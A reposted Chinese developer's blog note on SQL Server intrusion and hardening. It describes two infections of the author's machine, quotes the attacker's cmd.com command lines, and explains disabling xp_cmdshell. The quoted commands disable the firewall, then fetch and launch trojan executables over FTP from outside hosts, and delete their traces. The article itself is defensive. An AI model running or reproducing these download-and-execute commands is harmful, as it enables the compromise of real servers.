Sql server注入方式與安全防護的學習
來源:程序員人生 發布時間:2014-05-30 18:47:28 閱讀次數:2954次
建站學院轉載 自己的開發機經歷了兩次的中毒現像.每次中毒的現像,都是sqlserver.exe進程去執行cmd.com進程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了.
下面是cmd.com執行指令內容
"C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat
"C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat |
第一次中毒,之后,就對sql server進行了加強,刪除了"xp_cmdshell"這個sql server中最不安全的擴展存儲過程.不過,好了沒一個月,又來中一次.
這一次,我檢查了數據庫日志,xp_cmdshell并沒有恢復,不過卻在日志在發現了sp_oacreate與sp_oamethod兩個存儲過程的執行日志.
于是上網學習,把自己的學習的一些東西記錄下來:
一
. 初級sql注入攻擊 初級黑客攻擊SQL Server時,首先采用的方法是執行master數據庫中的擴展存儲過程xp_cmdshell命令來執行一些指令,添加用戶,添加文件,添加木馬病毒等.
對付此類黑客只要禁用xp_cmdshell存儲過程就可以了.
xp_cmdshell是一個允許執行任意的命令行命令的內置的存儲過程。例如:
Exec master..xp_cmdshell 'dir'
將獲得SQLSERVER進程的當前工作目錄中的目錄列表。如圖:
Exec master..xp_cmdshell 'net user'
將提供服務器上所有用戶的列表。當SQLSERVER正常以系統帳戶或域帳戶運行時,攻擊者可以做出更嚴重的危害。
從上面的兩個示例中可以看出xp_cmdshell的強大功能,功能的強大也意味著破壞性的強大.
一般情況下,xp_cmdshell對管理員來說也是不必要的,xp_cmdshell的消除不會對Server造成任何影響。
可以將xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc 'xp_cmdshell'
Go
如果需要的話,可以把xp_cmdshell恢復回來:
Use Master
Exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Go
如果有必要可以把xplog70.dll這個文件也刪除了,記得做好備份.
刪除了xplog70.dll將影響到"企業管理器"的一部分功能,我碰到的是無法在"企業管理器"中查看數據庫服務器的屬性.
生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈